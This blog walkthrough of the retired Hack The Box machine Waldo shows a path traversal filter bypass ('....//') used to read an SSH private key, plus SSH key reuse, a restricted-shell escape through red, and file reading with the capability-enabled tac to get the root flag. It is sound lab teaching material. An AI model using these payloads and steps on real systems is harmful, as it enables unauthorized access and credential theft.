Htb Waldo
by Jake
This week we are taking a look at the retired Hack The Box machine Waldo (Medium difficulty)
We start off with an nmap scan:
root@kali: nmap -sC -sV -oN nmap 10.10.10.87
# Nmap 7.70 scan initiated Fri Aug 24 12:21:08 2018 as: nmap -sC -sV -oN nmap 10.10.10.87
Nmap scan report for 10.10.10.87
Host is up (0.32s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 24 12:21:43 2018 -- 1 IP address (1 host up) scanned in 34.42 seconds
There is a website running, so let’s take a look at that:
There are a few different buttons which probably perform different actions, so lets open up Burp and intercept a few of these requests.
Two interesting requests are POST requests to fileRead.php
and dirRead.php
:
The file=
and path=
parameters look like a good potential for a Local File Inclusion (LFI), we need to take a closer look at this so lets move them to repeater (ctrl+r, ctrl+shift+r) and play with some different values.
Directories are always easier so lets start with the obvious:
and we can see that we are able to read the files in the web root directory. Taking it further something interesting happens, if we try to up a directory we get the same result as the current directory:
Going up again (path=../..
) we do get a result, but interestingly as soon as we add another slash to make it path=../../
we get dumped back in the web root directory.
There has to be an input filter in the code that is messing with us. Time to switch to the fileRead.php
file and see if we can figure out whats going on. path=./fileRead.php
gets us the file:
<?php\n\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\"){\n\t$fileContent['file'] = false;\n\theader('Content-Type: application\/json');\n\tif(isset($_POST['file'])){\n\t\theader('Content-Type: application\/json');\n\t\t$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);\n\t\tif(strpos($_POST['file'], \"user.txt\") === false){\n\t\t\t$file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");\n\t\t\t$fileContent['file'] = fread($file,filesize($_POST['file'])); \n\t\t\tfclose();\n\t\t}\n\t}\n\techo json_encode($fileContent);\n}\n
Once we replace all the \n
’s with new line characters and format the code a bit nicer we get the file:
<?php
if($_SERVER['REQUEST_METHOD'] === \"POST\"){
$fileContent['file'] = false;
header('Content-Type: application\/json');
if(isset($_POST['file'])){
header('Content-Type: application\/json');
$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);
if(strpos($_POST['file'], \"user.txt\") === false){
$file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");
$fileContent['file'] = fread($file,filesize($_POST['file']));
fclose();
}
}
echo json_encode($fileContent);
}
Looks like it is replacing any ../
input with an empty string, now everything makes sense. Luckily for us the str_replace()
function is not recursive, so we are able to craft the input with this in mind. Stepping through what the code will do, we can assume that the string ....//
will get the literal “../” removed leaving us with the string “../” which is exactly what we want. adding this a few times we can see that we are able to navigate around the box and read the root file system:
After a bit of browsing we discover that there is an SSH private key on there that we are able to read with the value file=../....//....//....//home/nobody/.ssh/.monitor
We are given a single line string which I have pasted the entire line into a file called monitor.raw
We can then run some sed
find and replace commands to clean up the file:
root@kali: cat monitor.raw | cut -d "\"" -f 4 | sed 's/\\n/\n/g' | sed 's/\\//g' > monitor.key
root@kali: chmod 600 monitor.key
To explain the commands:
sed 's/\\n/\n/g'
uses the substitue command s/FIND/REPLACE
syntax to find the literal string \n
(The first slash escapes the second so that it is not interpreted as a new line character) which we replace with the new line character \n
and the /g
on the end indicates that the find and replace should be applied globally, not just at the first occurance.
sed 's/\\//g'
does the same thing, this time replacing all remaining single backslash characters with nothing, globally. These single backslashes exist to escape certain characters in the JSON that could otherwise be misinterpreted as JSON syntax.
The key was in the /home/nobody
so we can assume it if for the nobody user:
ssh -i monitor.key nobody@10.10.10.87
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ cat user.txt
32768bcd7513[REDACTED]
waldo:~$
And we have the user.txt
Looking at the authorized_keys
file and the name of the original private key file, it is possible that this box suffers from a key reuse vulnerability for the monitor user. It doesn’t hurt to try so lets attempt to ssh to localhost, this time as monitor:
waldo:~$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzuzK0MT740dpYH17403dXm3UM/VNgdz7ijwPfraXk3B/oKmWZHgkfqfg1xx2bVlT6oHvuWLxk6/KYG0gRjgWbTtfg+q3jN40F+opaQ5zJXVMtbp/zuzQVkGFgCLMas014suEHUhkiOkNUlRtJcbqzZzECV7XhyP6mcSJFOzIyKrWckJJ0YJz+A2lb8AA0g3i9b0qyUuqIAQMl9yFjnmwInnXrZj34jXHOoXx71vXbBVeKu82jw8sacUlXDpIeGY8my572+MAh4f6f7leRtzz/qlx6jCqz26NGQ3Mf1PWUmrgXHVW+L3cNqrdtnd2EghZpZp+arOD6NJOFJY4jBHvf monitor@waldowaldo:~$
waldo:~$ ssh -i .ssh/.monitor monitor@127.0.0.1
Looks like we found Wal(ly)do
Trying to navigate around we seem to be in a restricted shell.
Looking at the bin directory we can see that we can only run a couple of restricted applications:
monitor@waldo:~$ ls bin
ls most red rnano
red
and rnano
are the restricted versions of the standard ed
and nano
applications. A common method to escape a restricted shell is to use the restricted application to run bash
. We can use red
to do that:
monitor@waldo:~$ red
!/bin/bash
bash: dircolors: command not found
monitor@waldo:~$ cd ..
monitor@waldo:/home$
We are now able to run normal bash commands, but we still seem to be restricted to certain applications. Looking at our current $PATH
variable we are able to see why:
monitor@waldo:~$ echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
So we need to change our path back to the default:
monitor@waldo:~$ export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH
Now it’s feeling more like a proper terminal.
From here, the first thing we do is take a look at what is in our home directory:
monitor@waldo:~$ ls -la
total 40
drwxr-x--- 5 root monitor 4096 Jul 24 07:58 .
drwxr-xr-x 5 root root 4096 May 3 2018 ..
drwxrwx--- 3 app-dev monitor 4096 May 3 2018 app-dev
lrwxrwxrwx 1 root root 9 Jul 24 07:58 .bash_history -> /dev/null
-r--r----- 1 root monitor 15 May 3 2018 .bash_login
-r--r----- 1 root monitor 15 May 3 2018 .bash_logout
-r--r----- 1 root monitor 15 May 3 2018 .bash_profile
-r--r----- 1 root monitor 3598 May 3 2018 .bashrc
dr-xr-x--- 2 root monitor 4096 May 3 2018 bin
-r--r----- 1 root monitor 15 May 3 2018 .profile
dr-x------ 2 monitor monitor 4096 May 3 2018 .ssh
The app-dev
directory looks like its worth taking a look at.
Reading through the source we can see that it reads log files:
monitor@waldo:~/app-dev$ cat logMonitor.c
/*******************************************
*
*This is an application to print out common log files
*
********************************************/
...
...
case 'a' :
strncpy(filename, "/var/log/auth.log", sizeof(filename));
printFile(filename);
break;
case 'A' :
strncpy(filename, "/var/log/alternatives.log", sizeof(filename));
printFile(filename);
break;
...
Looking at these log files, only a high privilege user can normally read these files:
monitor@waldo:~$ ls -la /var/log
total 2232
drwxr-xr-x 4 root root 4096 Aug 24 00:09 .
drwxr-xr-x 11 root root 4096 May 1 2018 ..
-rw-r--r-- 1 root root 0 Jul 15 09:05 alternatives.log
-rw-r----- 1 root adm 801 Aug 24 00:34 auth.log
...
monitor@waldo:~$ cat /var/log/auth.log
cat: /var/log/auth.log: Permission denied
Next we search around for a compiled version to see if it allows us to read the files, or if you still need to be privileged to read the logs we find:
monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -a
Aug 23 23:17:01 waldo CRON[922]: pam_unix(cron:session): session opened for user root by (uid=0)
Aug 23 23:17:01 waldo CRON[922]: pam_unix(cron:session): session closed for user root
Aug 24 00:17:01 waldo CRON[1024]: pam_unix(cron:session): session opened for user root by (uid=0)
Aug 24 00:17:01 waldo CRON[1024]: pam_unix(cron:session): session closed for user root
Aug 24 00:34:52 waldo sshd[1038]: Accepted publickey for monitor from 127.0.0.1 port 52836 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
Aug 24 00:34:52 waldo sshd[1038]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
Aug 24 00:34:53 waldo systemd: pam_unix(systemd-user:session): session opened for user monitor by (uid=0)
Aug 24 00:34:53 waldo systemd-logind[349]: New session 3 of user monitor.
But how does it do it?! There is no SUID
bit:
monitor@waldo:~/app-dev/v0.1$ ls -la
total 24
drwxr-x--- 2 app-dev monitor 4096 May 3 2018 .
drwxrwx--- 3 app-dev monitor 4096 May 3 2018 ..
-r-xr-x--- 1 app-dev monitor 13706 May 3 2018 logMonitor-0.1
Linux has a similar concept called Capabilities we can use the command getcap
to see if the binary has any special capabilities:
monitor@waldo:~/app-dev/v0.1$ getcap logMonitor-0.1
logMonitor-0.1 = cap_dac_read_search+ei
Looking at the capabilities man page we can see that the cap_dac_read_search
will bypass file read permissions.
CAP_DAC_READ_SEARCH
* Bypass file read permission checks and directory read and
execute permission checks;
* invoke open_by_handle_at(2);
* use the linkat(2) AT_EMPTY_PATH flag to create a link to a
file referred to by a file descriptor.
The getcap man page also shows that we can use the -r
argument to recursively find files with capabilities applied. So we use that against the root file system and hide any errors by passing them to /dev/null
monitor@waldo:~/app-dev/v0.1$ getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
There are two files on the box with capabilities, one is our log monitor which, as we have already discovered, can read log files we do not normally have permission to read. The other is a binary called tac
which has the exact same capabilites.
Again looking at the man page for tac we can see that it is basically the same as cat
but in reverse, probably could have guessed that from the name.
monitor@waldo:~/app-dev/v0.1$ man tac
TAC(1) User Commands TAC(1)
NAME
tac - concatenate and print files in reverse
...
Now that we know thi, we can use tac
directly against the root flag to read it:
monitor@waldo:~/app-dev/v0.1$ tac /root/root.txt
8fb67c[REDACTED]4584f6c
But didn’t the man page say it was cat
in reverse? Does this mean that it also prints the file contents backwards? It is easy to test by tac
ing a file that we know how it used to look:
monitor@waldo:~/app-dev/v0.1$ tac /etc/motd
Here's Waldo, where's root?
%@@@@&(,,,,*(#&@@@@@@,
,@@@,,,,,,,,,,,,,,,,.(@@@
.@@,,,,,,,,,,,,,...,,,,,,@@
(@(,,,.,,,,,,,,,,,,,,.,,,/@@
*@@,,,,,,,.,****,..,,,,,,,,&@@
,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
%@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
&@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
@@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
*@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
@@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
/@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
&@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
%@@.%@&,(@@@@, /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
/@@@*,@@,@@@* @@@,,,,,@@@@. *@@@%,@@**@#
(@@/@,,@@&@@@ &@@,,(@@& .@@%/@@,@@
*@@/@#.#@@@@@/ %@@@, .@@&%@@@ &@& @@*@@*(@@#
*@@&*#@@@@@@@& #@( .@@@@@@& ,@@@, @@@@@(,@/@@
*@@@@@&@@.*@@@ %@@@*,&@@ *@@@@@&.#/,@/
.@@&##@@,,/@@@@&(. .&@@@&,,,.&@@/ #@@%@@@@@&@@@/
@@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
.@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
@@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
@@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
*@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
@@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
@@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
@@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
%@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
*@@ *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
/@@ #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
*@@@@@# .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
%@*(@#%@., /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@# &
%/#@@@/@ @#/@ ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
/(@@@@@@@ *&@@@@%((((((((((((#@@(
@@@#%@@%@@@, *&@@@&%(((#((((@@(
@@&%#########@@@@/ */@@@%(((@@@%
%@@@@%##########&@@@.... .#%#@@@@@@@#
@@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
(@################%@@@@@. /**
/@@@&###########@@&*(*
@@@#@@#&@#&#&@@@,*%/
#*/%@@@@/.&@@,
@@@,@@/ %
&.
Looks like it is only reversing the line numbers, not the actual content of the lines so the flag should be valid as it is!
tags: htb - walkthrough - waldo